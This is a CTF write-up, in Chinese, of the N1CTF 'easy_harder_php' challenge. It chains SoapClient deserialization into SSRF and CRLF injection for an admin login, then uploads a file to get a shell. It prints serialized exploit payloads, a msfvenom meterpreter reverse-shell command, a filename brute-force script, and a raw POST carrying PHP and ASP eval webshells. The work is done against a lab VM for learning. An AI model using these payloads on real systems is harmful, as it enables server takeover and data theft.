  我们可以看到这个类传入的第一个参数为 $wsdl。



  控制是否是wsdl模式,如果为NULL,就是非wsdl模式。如果是非wsdl模式,反序列化的时候就会对options中的url进行远程soap请求,如果是wsdl模式,在序列化之前就会对$url参数进行请求,从而无法可控序列化数据。

  我们验证一下,写一个简单的发起soap请求。
1
2
3
4
5
<?php
$a = new SoapClient(null, array('location' => "http://192.168.187.133:8887",
'uri' => "123"));
echo serialize($a);
?>


1
O:10:"SoapClient":3:{s:3:"uri";s:3:"123";s:8:"location";s:27:"http://192.168.187.133:8887";s:13:"_soap_version";i:1;}


  抓包修改后发送。



  在虚拟机中监听:nc -lvv 8887,再去刷新?action=index,就能看到服务器已经接收到soap请求。


CRLF

  现在我们已经触发了SSRF,但可以看到SOAP原始的数据是不符合POST请求的数据格式的,所以,我们要想办法控制soap请求使它符合post请求,从而实现我们的目的。

  soap请求的content/type是text/xml; charset=utf‐8,我们没办法直接覆盖掉原本的content/type,而我们知道,要能通过$_POST获取数据,content/type要是application/x‐www‐form‐urlencoded才行。然后我们从SOAP的参数说明中知道:soap中是支持User-Agent的,并且在header里 User-Agent 是在 Content-Type 前面的,所以我们可以通过控制User-Agent来控制整个POST报文。

  我们知道http请求报文中使用\x0d\x0a,也就是回车换行符,分割http请求头跟body部分,所以我们通过\x0d\x0a来控制soap请求,使他变成我们想要的http报文格式,这种攻击手段也称为CRLF。如:



  这里我使用了官方放出的payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$target = 'http://127.0.0.1/index.php?action=login';
$post_string = 'username=admin&password=nu1ladmin&code=cf44f3147ab331af7d66943d888c86f9';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: PHPSESSID=3stu05dr969ogmprk28drnju93'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));

$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo bin2hex($aaa);
?>

  我们只需将PHPSESSIDcode换成我们自己的就可以实现admin登陆。我们在另一个浏览器中打开页面,然后记录他的PHPSESSIDcode。如:




  所以,我的payload就是:
1
signature=x`,`O:10:"SoapClient":3:{s:3:"uri";s:1:"0";s:8:"location";s:39:"http://127.0.0.1/index.php?action=login";s:11:"_user_agent";S:188:"fake\0D\0ACookie: PHPSESSID=etf9pia6ftpj50eav8jsbp7ta5\0D\0AContent-Type: application/x-www-form-urlencoded\0D\0AContent-Length: 700\0D\0A\0D\0Ausername=admin\26password=nu1ladmin\26code=THYoaQkVdIm739Hppszu\26y=cc";}`) -- -&mood=0





  然后我们在另一个浏览器上就可以以admin登陆了,(直接刷新页面即可,不用输入密码),然后可以看到我们已经解锁了文件上传功能。





上传文件getshell

  我们再来看文件上传的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
function upload($file){
$file_size = $file['size'];
if($file_size>2*1024*1024) {
echo "pic is too big!";
return false;
}
$file_type = $file['type'];
if($file_type!="image/jpeg" && $file_type!='image/pjpeg') {
echo "file type invalid";
return false;
}
if(is_uploaded_file($file['tmp_name'])) {
$uploaded_file = $file['tmp_name'];
$user_path = "/app/adminpic";
if (!file_exists($user_path)) {
mkdir($user_path);
}
$file_true_name = str_replace('.','',pathinfo($file['name'])['filename']);
$file_true_name = str_replace('/','',$file_true_name);
$file_true_name = str_replace('\\','',$file_true_name);
$file_true_name = $file_true_name.time().rand(1,100).'.jpg';
$move_to_file = $user_path."/".$file_true_name;
if(move_uploaded_file($uploaded_file,$move_to_file)) {
if(stripos(file_get_contents($move_to_file),'<?php')>=0)
system('sh /home/nu1lctf/clean_danger.sh');
return $file_true_name;
}
else
return false;
}
else
return false;
}

  可以看到如果你上传的文件包含<?php,就会运行一个bash clean_danger.sh去删除这个文件。而这个脚本的代码是:

1
2
cd /app/adminpic/
rm *.jpg

  绕过这个检测的方法有两个:

  • 1、使用linux命令的一个feature
      当我们创建诸如 -xaaaaaaa.jpg的文件后,我们不能通过 rm or rm .jpg 删除它,除非 rm -r (它的上一层目录),比如:


  • 2、使用段标签
      因为php版本高于5.4,所以我们可以使用<?=拿到webshell。

  为了方便反弹shell,这里我用msf生成了shellcode,命令:

1
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.187.129 LPORT=4444 -f raw > /root/meter.php

  因为使用的是msf反弹shell的代码,所以我们用msf监听一下。



  并且上传的时候我使用了第一种方法




  文件上传上去后,我们需要找到他的位置即文件名,在upload函数中,我们看到系统对文件进行了重命名。



  我们要找出真正的文件名,就需要知道time()的值,然后枚举1~100叠加上去。而time()是我们上传的时间的unix时间戳,而且要注意是date_default_timezone_set("PRC")

  所以在即将上传前,我们获取一下当前的unix时间戳,如:
1
2
3
4
5
6
<?php
date_default_timezone_set("PRC");
$file_true_name = '-webshell';
$file_true_name = time();
echo $file_true_name;
?>


  得到:1521017320,然后我们写个python脚本暴力跑一下:
1
2
3
4
5
6
7
8
9
10
11
12
# -*- coding:utf-8 -*-

import requests
time = 152101732000
url = 'http://192.168.187.133/index.php?action=../../../../app/adminpic/-haha{}.jpg'
for i in range(10000):
tmp = time + i
ul = url.format(tmp)
html = requests.get(ul).status_code
if html == 200:
print(ul)
break


  这里需要注意的是我们的初始值是:152101732000,它比时间戳多了两位,这是因为时间戳的后面还有rand(1,100),所以我们要考虑进去。

  跑了一会结果就出来了:http://192.168.187.133/index.php?action=../../../../app/adminpic/-meter152101732256.jpg,访问后可以看到页面返回正常。并且在msf里可以看到shell已经反弹回来。


拿到flag

  拿到shell后查看了文件,但没有发现flag文件。所以,flag应该在数据库中。然后发现了系统的配置脚本run.sh。里面暴露了mysql的账号密码,我们登陆mysql然后查询一下。sql语句如下:

1
2
use flag;
select * from flag;

  可以看到flag已经出来了。




  这里比较坑的是返回的shell并不是真实的shell,所以在执行mysql命令时总是存在延迟,有时数据也返回不完全,需要多次操作才能读出这个flagn1ctf{php_unserialize_ssrf_crlf_injection_is_easy:p}

总结

  这道题运用了很多姿势,复现完成后自己也学到了很多,不足的就是自己在复现的时候操作还不是很流畅,可能也是自己太菜的原因,但好在最后还是能照着writeup复现出来。复现过程中,查了几份writeup,但这些writeup对于很多细节却没有做详细的描述,所以这篇writeup我尽量的把每步操作都记录下来,方便自己也方便别人学习。

  关于非预期的解法,考虑到篇幅关系,所以决定另开一篇,并且争取还原整个解题过程。

N1CTF easy_harder_php非预期解法

前言

  上篇文章中复现了官方的预期解法,这里单独将非预期解法拿出来复现一遍并记录解题过程。非预期解法有三种:

  • 1、session.upload开启导致session包含漏洞
  • 2、xdebug
  • 3、/tmp/临时文件竞争

  本来以为pull下的docker有easy php的环境,但经过检查后却发现不满足条件,所以这篇文章主要起到备忘录的作用,以供以后遇到满足的条件时方便查阅。

1、session.upload开启导致包含漏洞

  session.upload_progress.enabled这个参数在php.ini 默认开启,需要手动置为Off,如果不是Off,就会在上传的过程中生成上传进度文件,它的存储路径可以在phpinfo获取到

1
/var/lib/php5/sess_{your_php_session_id}




  但是从官方拉下来的源码中,发现这个session.upload_progress.enabled参数已经被关闭,所以这个解法就没法复现了。




  所以这里只进行记录这个解法的流程。

  首先构造一个这样的报文(from @berTrAM),不断的向服务端发送

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
POST / HTTP/1.1
Host: 47.52.246.175:23333
Proxy-Connection: keep-alive
Content-Length: 648
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary2rwkUEtFdqhGMHqV
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=5uu8r952rejihbg033m5mckb17

------WebKitFormBoundary2rwkUEtFdqhGMHqV
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

<?=`echo '<?php eval($_REQUEST[bertram])?>'>bertram.php`?>
------WebKitFormBoundary2rwkUEtFdqhGMHqV
Content-Disposition: form-data; name="file2"; filename="1.php"
Content-Type: text/php

<?php eval($_POST[1]);?>

------WebKitFormBoundary2rwkUEtFdqhGMHqV
Content-Disposition: form-data; name="file1"; filename="2.asp"
Content-Type: application/octet-stream

< %eval request("a")%>

------WebKitFormBoundary2rwkUEtFdqhGMHqV
Content-Disposition: form-data; name="submit"

Submit
------WebKitFormBoundary2rwkUEtFdqhGMHqV--

  服务器就会在/var/lib/php5/sess_5uu8r952rejihbg033m5mckb17中记录这个上传的文件。接着我们不断刷新生成包含恶意php代码的文件,然后通过LFI包含这个文件

1
action=../../../../../var/lib/php5/sess_5uu8r952rejihbg033m5mckb17

  即可getshell

2、xdebug

  要使用Xdebugget shell,首先服务器要开启如下参数:




  但pull下来的docker中,这个参数都不被满足,所以又只能记录利用方式,等以后碰到了方便查阅。




  这里参照rr师傅的博客,首先我们先确定是否可以利用xdebug




  当 X-Forwarded-For 的地址(这里就是:ricterz.me)的 9000 端口收到连接请求,就可以确定开启了 Xdebug,且开启了 xdebug.remote_connect_back。

  再下面的操作就参照师傅的博客就行了,这里因为没有环境就不再照抄了。

3、/tmp/临时文件竞争

  要使用临时文件竞争,phpinfo的环境要有如下配置:




  但公开的docker还是不满足条件。。。

  它大概的原理就是趁系统还没把临时文件删除之前将这个文件包含起来,从而getshell,通常系统的守护进行删除时隔很小,大概在2~3s,所以,我们要使用多线程上传,然后不断刷新包含文件。

参考链接

  黑塔搜索结果

  官方writeup

  国外大佬-条件竞争writeup

  Xdebug利用

  Bendawang

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×